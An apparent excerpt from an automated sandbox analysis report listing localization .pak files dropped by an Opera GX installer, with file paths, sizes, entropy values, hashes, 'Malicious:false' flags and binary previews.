                                                                                                                                                                                                              SHA-512:D86B68F9F888475BB2E8A8B75D1E18C219D18BFA612AD97FDFFA34020C86323A3DD55BCCDA7BC04C98B2F68FC9EE0BF296CD0D06AAA8F6D7BB5E8E57A3FAE298
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........*(..e.Z...g.b...h.g...i.o...j.{...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.<...w.h...y.....z.....|.....}.......>.....C.....K.....S.....[.....b.....i.....p.....q.....r.....w.........................................f...........[...........{.......................^.................O.......................A.................F.................D.....0 ..... ....P!.....!....."....b#.....#.....$.....%.....%....d&.....&....b'.....(....w(.....(.....)....M*.....*.....+.....,.....,.....-.....-.........../....D/....k/.....0.....0.....0.....1.....1....B2.....2.....2....i3.....3....Y4.....4....(5.....5.....5.....6.....6.....7....r7.....7....'8.....8.....8.....9.....9....<:.....:.....:.....;.....<....==....o=.....>.....>.....>.....?.....?.....@....a@.....@.....A....7B.....B.....B.....C....uD.....D....^E.....F.....F.....F.....G.....G....jH.....H.....H.....I....zJ.....J....0K.... L.....L.....M.....M.....N....yO.....O....AP.....Q.....Q.....Q....7R.....R....bS.....S.....S.....T.....U

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\bn.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1128100
                                                                                                                                                                                                              Entropy (8bit):4.385107940588241
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:3072:49fncgfwAkZYHGtuFymyLHSnTqBBoZ4lSZjBsL:yfncgAiGtn3mqBBRUZY
                                                                                                                                                                                                              MD5:B11F06F8EE6CDCF07028170748163852
                                                                                                                                                                                                              SHA1:3E7078C5D7AF1BAB53CA8C6F65B63F44B5734E4C
                                                                                                                                                                                                              SHA-256:13CA0E811111F944AD8EBD5AE7C29D2F1466A57ECCA2D7D96DFE535574343479
                                                                                                                                                                                                              SHA-512:81CE61444B046B1814DFAB594DE2317182B834F144FA62AA293268506E2DB546C207F01ECE07596945996B45C24D148592649117CCEAF15F9D11A64A83F4E7C8
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........:(..e.z...g.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.1...v.f...w.....y.....z.....|.....}.?.....h.....m.....u.....}.................................................................+.....h.................U.................a...........:....._.....Y...........V.....N.....-.......................W.................. ....W!.....!.....!.....".....#....a$.....$.....%.....&.....'....j'....Y(....)).....).....).....*....[+.....+.....+.....,.....-....m............/.....0....a1.....1....~2.....3....\3.....3....74.....4.....5....+5.....5....X6.....6.....6.....7....=8.....8.....8.....9....8:.....:.....:.....;....&<....w<.....<....E=.....=....1>....T>.....?.....?.....?.....@....?A....[B....&C....nC....hD....7E.....E.....E.....F.....G....\G.....G....ZH.....I.....I.....I.....J....tK.....L.....L....=M.....M.....N....ON....4O.....O....=P....uP....xQ....&R.....R.....S....9T.....U.....V.....V.....W.....X.....Y.....Y.....Z.....[.....\....@\.....].....]....G^....v^....|_

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\ca.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):557066
                                                                                                                                                                                                              Entropy (8bit):5.41017508139617
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:xUaz67e6ybGbf1bCCrz+W58rYvOkcvKMe3xR3MfvO5/5iuURKWJCQrEyXLg8SHN9:dn6xM5zRM5kpBor+rjE6e
                                                                                                                                                                                                              MD5:703E21084A0412631F1D7D6477E6764A
                                                                                                                                                                                                              SHA1:B436CFDFA409191A9A5A6F72AF6885D0A25D5B77
                                                                                                                                                                                                              SHA-256:D20DD4262183E8DF274AFD4CEBA3440F30A996E1DBDBA63D65F78D65BCF960C5
                                                                                                                                                                                                              SHA-512:5EC6C09E6EC08B38BC8AF012D0DD0A7D33C9C21D7DC93D1C468B4F49CF643432AA6A55416EC6006EF5F12E1C4E686FCD3FDFF7596BDFAE5BC31B32105AD0EC57
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........(..e.:...g.B...h.G...i.O...j.[...k.j...l.u...n.}...o.....p.....q.....r.....s.....t.....v.....w.H...y.o...z.....|.....}.............#.....+.....3.....;.....B.....I.....P.....Q.....R.....T.....n.......................i...........e.................W.................L...........0.....O.................J.....g.................I.....\.................@.....Q...........;.....}...........0.......................x........... .....4.................%.....9.................\.....w...... ..... ..... .....!....~!.....!.....!....."....j"....."....."....."....H#.....#.....#.....#....H$.....$.....$.....$....W%.....%.....%.....%....D&.....&.....&.....&.....'....h'.....'.....'.....(....X(.....(.....(.... ).....).....).....)....U*.....*.....*.....*....P+.....+.....+.....,....g,.....,.....,....6-.....-.....-..........v.......................Y/...../...../...../....c0.....0.....0.....1.....1....92.....2.....2....F3.....3.....3.....4.....4.....4.....5....>5.....5.....5.....5.....6.....6.....6....*7

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\cs.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):550664
                                                                                                                                                                                                              Entropy (8bit):5.846195426197907
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:hDPnvz41LHp6j/RhZYwAChkGYNOrvISB98QfsV/RJgWyN/MsO72:Zv0hJc/RhFAChkGYNOLIS4cB
                                                                                                                                                                                                              MD5:8E659F0E4F8E12B7EFBA7D214D41E14F
                                                                                                                                                                                                              SHA1:F8DFE05F6E195DC16FF2A8D8C047530172E9C30E
                                                                                                                                                                                                              SHA-256:E125FF292FBB78F6E66C7FE842EE74A7CE0E5665BCA1635AB8BF2992DB252533
                                                                                                                                                                                                              SHA-512:639A1C91C5A82DC32D69849B49D7D0A7965B13F130A702644E0CB06AEC484A22EB722924AA12DFBFBB86481B9CDBDD7768A16DB35498966F38B53FAFA8A19DF8
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........'..e.....g.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.8...t.O...v.....w.....y.....z.....|.,...}.].....................................................................................................3.......................v.................>................./.................P.....h...........*.....^.....q.................A.....T...........).....^...................................q........... .....8.................@.....P...........@.........................................J ..... ..... ..... ....#!....w!.....!.....!....."....W"....|"....."....."....Z#.....#.....#.....$....j$.....$.....$.....%....[%.....%.....%.....%....]&.....&.....&.....'....w'.....'.....'....;(.....(.....(.....)....d).....).....).....)....&*....}*.....*.....*....,+.....+.....+.....+....2,.....,.....,.....-....l-.....-.....-.....-....i............/...../...../...../....60....N0.....0....<1....}1.....1.....2.....2.....2.....3.....3.....3.....4.....4.....4.....4.....5.....5.....5.....5

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\da.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):512132
                                                                                                                                                                                                              Entropy (8bit):5.474280600765246
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:x2no47eLcjxQWuzVWGImBsdhzqWId4h7qwvzZhMqEyi/3e74F7Dew9e22s3PRKbF:8oYQWwI7dhd4qEyiW4e25cT4s
                                                                                                                                                                                                              MD5:485DB8CC552179C494255465D8A8D596
                                                                                                                                                                                                              SHA1:032667B46E7B79D5B1FB8292AE45EA0C5C3744DF
                                                                                                                                                                                                              SHA-256:747F9CA0922633C7F3727FE41054D5287E39E807AB695B5CA0FCBAD2FD522F68
                                                                                                                                                                                                              SHA-512:2DD5080BED8E29EE64ACBB484CE24BC2A7E4FF106CEFB3076D4AE12AAA6E4E42F9F4C2734EAFE3D8BB822E55178EB77259D1F8B578A44343879998475B99B7FA
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........(..e.....g.....h.....i.*...j.6...k.E...l.P...n.X...o.]...p.j...q.p...r.|...s.....t.....v.....w.#...y.J...z.x...|.....}...........................................$.....+.....,.....-...../.....=.....S.....g.................e.................&.......................q...........F.....b...........2.....b.....v...........%.....L.....Y.................7.....E.................=.....W...........C.......................|.................3.......................q...........E....._...........x.................F ..... ..... ..... ....-!.....!.....!.....!....."...._"....."....."....."....W#.....#.....#.....#....\$.....$.....$.....$....P%....{%.....%.....%..../&....U&...._&.....&.....'....E'....S'.....'....N(.....(.....(.....)....d).....).....).....)....A*...._*....w*.....*.....+....;+....K+.....+....3,....m,.....,.....-....\-.....-.....-..........g................../....Y/...../...../.....0.....0.....0.....0....v1.....1....$2....S2.....2.....3....O3....a3.....3.....3.....4...."4.....4.....4

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\de.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):555814
                                                                                                                                                                                                              Entropy (8bit):5.509484016965944
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:2RXEbYF84wXI7eMvUvTzUCmPzKpYWp/6CC9QSTSpJ9SjExG1V:iXSxMvUkCm77CC9APcV
                                                                                                                                                                                                              MD5:4FBE175540BAE111E2D1BF679BE2B1C4
                                                                                                                                                                                                              SHA1:5D66DBA46D99C6E5D5AD714ED8C35D0D7E1BCD52
                                                                                                                                                                                                              SHA-256:67D28A4EB90BF6EEE61A902F8A8EA14B221A2BA7F4376A6666BA1FA6FE071D5E
                                                                                                                                                                                                              SHA-512:07C79C3FF893F0548DE7A36C23A2866611B5F7335518F91A257B008B4777BF9EDAFDE70FAC624780D3D56268F60BA2CD79F0E28924304C5B9046B241C89F565A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........'$.e.8...g.@...h.E...i.V...j.b...k.q...l.|...n.....o.....p.....q.....r.....s.....t.....v.#...w.O...y.v...z.....|.....}.......%.....*.....2.....:.....B.....I.....P.....W.....X.....Y.....[.....l.......................e...........}...................................r...........+.....E...........;.....r.................u.................'.......................m...........".....D...........Z.................5...................................D.....V.............................. ....,!.....!.....!....."....."....."....."...."#.....#.....#.....#....5$.....$.....$.....$....d%.....%.....&....E&.....&....3'....j'....z'.....'....a(.....(.....(.....).....).....).....)....B*.....*.....*.....+.....+....7,.....,.....,.....-....}-.....-.....-..........i................../....l/...../...../....A0.....0.....0....-1.....1.....1.....2..../2.....2.....3....@3....S3.....3....J4.....4.....4....!5.....5.....5.....6.....6.... 7....\7.....7.....7....r8.....8.....8.....9.....9.....9.....9....A:.....:

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\el.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):953369
                                                                                                                                                                                                              Entropy (8bit):4.867642425930253
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24576:DHjd0TnjNCRR9PJcn/OIL+pDnfEybmvD7XroZe+ylmJP/p6YDMnWbIz+9dqN61yj:DDd0TnjNCRR9PJcn/OIL+pDMybmvD7XD
                                                                                                                                                                                                              MD5:5E63A777E8C8756C48A7B69A6C85E079
                                                                                                                                                                                                              SHA1:50B9A7A74073C9F3806B9ADE6C4210D5B6E9EC06
                                                                                                                                                                                                              SHA-256:BCED6C1BBF473AB2B3FE6126D97A1AAEAE14B95CC4B82783896C05C473D39930
                                                                                                                                                                                                              SHA-512:4BBA10BE07E6A52E7BAD9884C3827C151CDB7636A6784B19B9B21D9A6CD2118D3BD36A24723FFFF2E5CFCDE11B067424E92A8103DBDD83F73F8C3001785D865F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........'..e.....g.....h.....i.....j.....k.....l.....n.....o.....p.%...q.+...r.7...s.f...t.}...v.....w.....y.....z.3...|.Z...}...............................................................................N...........................................................O.....W.....+.................,...........A...........>...........$.....E...........y.................. ....{!.....!.....".....#.....$.....$.....$.....%....o&.....&.....'.....'.....(....")....M)....>*.....*.....+.....+.....,.....-................y/....*0....v0.....0....M1.....1....C2....h2.....3.....3.....3....74.....5.....5....X6.....6....L7.....8....z8.....8....t9....J:.....:.....:.....;....T<.....<.....<.....=....L>.....>.....>.....?.....@....rA.....A....wB....?C.....C.....C....xD.....D....7E....SE.....F.....F.....F....+G.....H.....H....TI.....I....QJ.....J....7K....^K....)L.....L....IM....{M....fN.....O.....O.....O.....P.....R.....R.....S.....T.....T...._U.....U.....V.....W....2X....cX.....Y.....Y....RZ....tZ....{[....u\

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\en-GB.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):450183
                                                                                                                                                                                                              Entropy (8bit):5.534733744957585
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:cJ5hzQpKBuW5dPZWix9BcBRBuvBxvnk0do/6d91V/h:cPhEpKBjlfxNZJw/67/h
                                                                                                                                                                                                              MD5:17232EBAA4AB9BA7C9650996AA909388
                                                                                                                                                                                                              SHA1:6A2FD7DDF7A7AB5DAE467B4B44398B509BC85EFB
                                                                                                                                                                                                              SHA-256:A5A508B56063A0645CFD4CFAC1EA5EB47F09EEBF25A5D9656EF0A51D2469ED31
                                                                                                                                                                                                              SHA-512:6B9202B5D632633698F220543C35AB2F37B2A56B94028CE58D5F0850B85047199922BF76C4074B0A0621149F63AA1A48366E5883699F378538D4F14E386F3DDB
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........C(z.e.....g.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.(...t.?...v.t...w.....y.....z.....|.....}.M.....v.....{...................................................................................`.................!.....w.......................m.......................q.......................M.............................W.....~.................!.....F.....].................I.....a.................3.....A............................._.......................I.......................<.....s.............................5.....?.............................E.......................& ....o ..... ..... ..... ....6!...._!....j!.....!.....!....."....)"....r"....."....."....."....K#.....#.....#.....#....D$.....$.....$.....$.....%....B%....b%....w%.....%.....&....'&....6&.....&.....&.....'....5'....z'.....'.....'.....'....9(.....(.....(.....(....()....h).....).....)....#*.....*.....*.....*....J+.....+.....+.....+....O,.....,.....,.....,.....-....[-....}-.....-.....-....5.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\en-US.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):452630
                                                                                                                                                                                                              Entropy (8bit):5.535679222504235
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:z7ZzEdJSlo00xungIs/0bYwfyFv3eSyUR6O9wH/n:z9E8ax+YwK1ZR6h/n
                                                                                                                                                                                                              MD5:C43A9341271D3B5BF0D84355E2E11E4B
                                                                                                                                                                                                              SHA1:B9C928E7A9A8607182531D82B54C61EDC0B0DEAB
                                                                                                                                                                                                              SHA-256:7164721F2843C08364A4BE9052EF40F05977F76ACE1E12E751D6B250A1DEAE12
                                                                                                                                                                                                              SHA-512:E83A26B88ADD366B24BCB040DF2CAA03BA42C620B01668AB65F2F9E32744685E486B0EECA196AA3FBC2F33EEA5D993BD3655094CAF74736C98433DBBBD6D00C9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........c(Z.e.....g.....h.....i.....j.....k.....l.....n.....o.....p.!...q.'...r.3...s.b...t.y...v.....w.....y.....z./...|.V...}...........................................................................................).................I.....].................1.....A.................<.....R.................%.....:.............................K.............................T.....y.................C.....x.................1.....b.....p.................2.....B.............................x.................,.....k.............................E.....d.....n.............................t.................. ....U ..... ..... ..... .... !....e!.....!.....!.....!....%"....M"....X".....".....".....#.....#....{#.....#.....$....($....v$.....$.....$.....$....8%....t%.....%.....%.....%....:&....\&....k&.....&.....'....D'....j'.....'.....'.....(.....(....i(.....(.....(.....(....N).....).....).....)....J*.....*.....*.....+....o+.....+.....+.....,....p,.....,.....,.....,....:-....x-.....-.....-..........R.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\en-VO.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):454842
                                                                                                                                                                                                              Entropy (8bit):5.545523456528961
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:JjNIvv0nnGtos900xungfs/0bIw0Q5zLD+/ks6d9ZcLg:cv2k9xHIwnVNs6eLg
                                                                                                                                                                                                              MD5:3763969C17F32D91AD921B6F367D7531
                                                                                                                                                                                                              SHA1:ABB8F858DB1D96E1C03B36223B21EFC600291716
                                                                                                                                                                                                              SHA-256:0A4328542FE8C761C6A47C3059360B1272C028C9DBF157B38CBFEB2AA7AAC9D8
                                                                                                                                                                                                              SHA-512:3507A491B0CC82642EA8A1ECEF20071A9B1209533F3AE0B070B4E432CBCAF3DE1004EBDC71AA8B9ED93DDA2E1A9D2565A623E8325151367EC1FAD5391CB6A287
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........`(].e.....h.....i.....j.....k.....l.....n.....o.....p.!...q.'...r.3...s.b...t.y...v.....w.....y.....z./...|.V...}...........................................................................................).................I.....].................1.....A.................<.....R.................%.....:.............................K.............................T.....y.................C.....x.................1.....b.....p.................2.....B.............................x.................,.....k.............................E.....d.....n.............................t.................. ....U ..... ..... ..... .... !....e!.....!.....!.....!....%"....M"....X".....".....".....#.....#....{#.....#.....$....($....v$.....$.....$.....$....8%....t%.....%.....%.....%....:&....\&....k&.....&.....'....D'....j'.....'.....'.....(.....(....i(.....(.....(.....(....N).....).....).....)....J*.....*.....*.....+....o+.....+.....+.....,....p,.....,.....,.....,....:-....x-.....-.....-..........R.......

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\es-419.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):545828
                                                                                                                                                                                                              Entropy (8bit):5.384885467806706
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:pEt7MnO73GMG7CcTU+uIQJ0mhub1jEY64cw/yy6G2vImz3YOi51VKr4:CtwO72C5+Srscw/yMbDKE
                                                                                                                                                                                                              MD5:A0B826C3C0BCEEA9CEABE2A795EBEDBC
                                                                                                                                                                                                              SHA1:03F4AE50EC0F1E9C8B04B2168D0251E828A5118F
                                                                                                                                                                                                              SHA-256:63B796F49F95AE67DE2A31812A460D92C164A8F008EE811B4AC5F3824250543D
                                                                                                                                                                                                              SHA-512:E989C552BDCFDC4EFBDCEE071C810512D1167F3BDFDC174F121E04DEFDADDC7C7B305E15A211F3EEAFC952AFA4A50F3BCC8C0F5A31AB21ED43DDD9C386EDB93C
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........$(..e.N...g.V...h.[...i.d...j.p...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.1...w.]...y.....z.....|.....}.......3.....8.....@.....H.....P.....W.....^.....e.....f.....g.....i.....{.......................f...........T.....o...........G.................8.................3........... .....b.....}........... .....J.....].................B.....S...........M.................L.................*.................L....._...........4.....r.................u.................p ..... ....H!....o!.....!....."....5"....P"....."....."....)#....8#.....#.....#....0$....F$.....$....#%....h%....{%.....%....?&....}&.....&.....&....5'....f'....q'.....'.....(....J(....T(.....(....")....b)....r).....)....e*.....*.....*....7+.....+.....+.....+....A,.....,.....,....(-.....-.....-.....-....P............/....H/...../...../.....0....70.....0.....0....-1....F1.....1.....2...._2....y2.....3.....3.....3.....4.....4.....5....X5.....5.....6....l6.....6.....6.....7....]7.....7.....7.....8.....8.....8

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\es.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):541691
                                                                                                                                                                                                              Entropy (8bit):5.374045069299244
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:hTzdsbskqA0Dw812ljsCB2UW/rVU0k8+6PZa/wYF+XgK+Ef8jyM0TKnyzb157jTL:tis/rc/2T/rV44Ygf8jyF7j/o0H9
                                                                                                                                                                                                              MD5:B2D88D9082BAC0E69B45F15BB99B1180
                                                                                                                                                                                                              SHA1:DA31E3E9B247E233DA01758A946B778808E0664A
                                                                                                                                                                                                              SHA-256:E556C2B7CFD18F602F7DF32859817427B36C54ECC54FCDEB8BD2CD1EDAE51F5C
                                                                                                                                                                                                              SHA-512:BFB0E8B8E7303CE866A5DAF4630EB105A2DD9410779406EFD0719845BC8C8BC37115ED55419A59A154D24B94B6DD913A2D4B46153EE61593CCC257AFC360718F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........(..e.>...g.F...h.K...i.S...j._...k.n...l.y...n.....o.....p.....q.....r.....s.....t.....v. ...w.L...y.s...z.....|.....}.......".....'...../.....7.....?.....F.....M.....T.....U.....V.....X.....k.......................G...........C.....`...........B...................................8.................W.....r...........-.....\.....l.................V.....g...........a.................U.................,.................G.....X...........(.....d.....y...........m.................e ..... ....)!....N!.....!....."....6"....L".....".....".... #..../#.....#.....#....($....>$.....$.....%....=%....P%.....%.....&....9&....E&.....&.....&....#'.....'.....'.....'.....(.....(....w(.....(.....(.....).....).....)....B*....\*.....*.....+....>+....[+.....+.....,....3,....R,.....,....9-....^-....q-.....-....f.................K/...../...../...../....?0.....0.....0.....0....U1.....1.....1.....2.....2....$3.....3.....3....'4.....4.....4.....5.....5.....5....?6....S6.....6.....6.....7....17.....7.....8

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\fi.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):506956
                                                                                                                                                                                                              Entropy (8bit):5.457600083244128
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:OJtrZE19SHFJpFnWp0WaYrhYYb7uZ5so+YWyl9tsOBMc1JQ:ePnctn5V
                                                                                                                                                                                                              MD5:3AD69ED2C044C15E9280DFC000B9B44D
                                                                                                                                                                                                              SHA1:83E0A2C995445766D9A0208F511646B7EE15CEBE
                                                                                                                                                                                                              SHA-256:43296CAA52D506B487EE4BD05913CECEB5203948C666C12B67E8E4130596F52F
                                                                                                                                                                                                              SHA-512:2FA2C96E0A686B89D955E0227A1265C2B0FD9011A8960BC5F706C0DEB841EB009BA9A22ECDB3C8CD1259114F9D8F63BE3A3F050811A33D38A407401B8380CB47
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........'..e.`...g.h...h.m...i.~...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.K...w.w...y.....z.....|.....}.$.....M.....R.....Z.....b.....j.....q.....x.....................................................]...........0.....A.................:.....M...........*.....d.....z...........N.......................C.....p.....~.................4.....D.......................0.................U.....o...........!.....M.....c...........#.....R.....g...........$.....U.....s...........].......................h.......................;.....^.....l............ ....8 ....D ..... ..... .....!.....!....s!.....!.....!....."....X"....."....."....."....4#.....#.....#.....#.....$....j$.....$.....$.....%....}%.....%.....%....*&....o&.....&.....&.....&....O'....q'.....'.....'....M(....q(.....(.....(....L).....).....).....)....5*....L*....[*.....*.....+....<+....N+.....+.....,....C,....],.....,....`-.....-.....-....1.......................A/...../...../...../.....0....^0....w0.....0.....0....;1

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\fil.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):565939
                                                                                                                                                                                                              Entropy (8bit):5.287206060633863
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:C2YNMeRuDCw4Y7rCoX4sxZD5u/lyI6sqSKG6:8MekH7jmB6YKh
                                                                                                                                                                                                              MD5:2A9ADD5D5F6175C77C6967A87DDA5259
                                                                                                                                                                                                              SHA1:DB3237F55A389921135498BDF32977B9511BC1C9
                                                                                                                                                                                                              SHA-256:AB72463410D77EDFC3D2D6EC6880E767F02600DF02A545933B5FD05F6A668F54
                                                                                                                                                                                                              SHA-512:5A06D0B8EC0459EF5DA6978F0E69CD85A9E96266AF312063E82531D1D6AED052BD4E09A8E1F3CE893CAAF28DC1A8BB7B6CCED8777D01D2ACAA25E1D4E8E5CCB4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.........(2.e.....g.$...h.)...i.?...j.K...k.Z...l.e...n.m...o.r...p.....q.....r.....s.....t.....v.....w.8...y._...z.....|.....}.........................#.....+.....2.....9.....@.....A.....B.....G.....T.....m.................B...........3.....M...........D.................F...........3.....Z...........O.......................s.........................................].................=...........S.................B.............................. ....= ....W ..... ....R!.....!.....!....K"....."....7#....Y#.....#.....$....C$....`$.....$.....%....6%....C%.....%.....%....!&....0&.....&.....'....H'....^'.....'....*(....`(....o(.....(....2)....d)....r).....)....3*....d*....r*.....*....5+....g+....u+.....+....v,.....,.....,....G-.....-.....-.....-....A.......................1/...../...../...../....Z0.....0.....1....J1.....1.....2....;2....U2.....2....33....f3.....3.....4....u4.....4.....4....~5.....6.....6.....6....)7.....7.....7....)8.....8.....9....?9....W9.....9.....:....7:....M:.....:....C;

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\localization\fr.pak

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):577910
                                                                                                                                                                                                              Entropy (8bit):5.412390884744327
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:TOi9dxkExxOiEQ/hLRgaC6HQsn6IfSGKGsa5iZpMMYnYCo59x3zz7IKGA2MrJBXW:TL39hGDGA2M9To
                                                                                                                                                                                                              MD5:54FF40296A3E22113E153C32E310872A
                                                                                                                                                                                                              SHA1:51622B81083B48E600D5A5746308EC2ADE6FA693
                                                                                                                                                                                                              SHA-256:55617645F419D17D28E1E1F99F0ED5D3F0BE6E912331853BC76665E938501898
                                                                                                                                                                                                              SHA-512:6FCF2300B3E5D6AA59ED44A78A6CE528D184A5BB05A6AC79714D8705D1212FB691E53516FD853CAD2EBE413258087C37AD01747FF317C2BCDEA8CC3BEA6CB614
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
